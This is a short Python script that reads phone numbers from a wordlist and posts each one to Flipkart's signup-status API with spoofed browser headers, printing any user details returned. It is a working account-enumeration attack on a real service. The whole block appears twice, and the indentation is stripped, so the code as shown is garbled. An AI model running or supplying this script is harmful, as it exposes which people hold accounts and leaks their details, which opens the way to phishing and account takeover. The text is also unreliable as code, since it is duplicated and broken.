import requests, json
url = 'https://www.flipkart.com/api/6/user/signup/status'
headers = {"Origin": "https://www.flipkart.com", "X-user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop"}
with open("wordlist.txt") as numbers:
for number in numbers:
number = number.strip() # Remove leading/trailing whitespace characters (including newline)
data = "{\"loginId\":[\"+" + number + "\"],\"supportAllStates\":true}"
response = requests.post(url, data=data, headers=headers)
if response.status_code == 200:
api_data = response.json()
if api_data and 'RESPONSE' in api_data and 'userDetails' in api_data['RESPONSE']:
status = api_data['RESPONSE']['userDetails']
print(status)
else:
print(f"Error: Invalid API response for {number}.")
else:
print(f"Error: Failed to retrieve PayLater status for {number}.")
url = 'https://www.flipkart.com/api/6/user/signup/status'
headers = {"Origin": "https://www.flipkart.com", "X-user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop"}
with open("wordlist.txt") as numbers:
for number in numbers:
number = number.strip() # Remove leading/trailing whitespace characters (including newline)
data = "{\"loginId\":[\"+" + number + "\"],\"supportAllStates\":true}"
response = requests.post(url, data=data, headers=headers)
if response.status_code == 200:
api_data = response.json()
if api_data and 'RESPONSE' in api_data and 'userDetails' in api_data['RESPONSE']:
status = api_data['RESPONSE']['userDetails']
print(status)
else:
print(f"Error: Invalid API response for {number}.")
else:
print(f"Error: Failed to retrieve PayLater status for {number}.")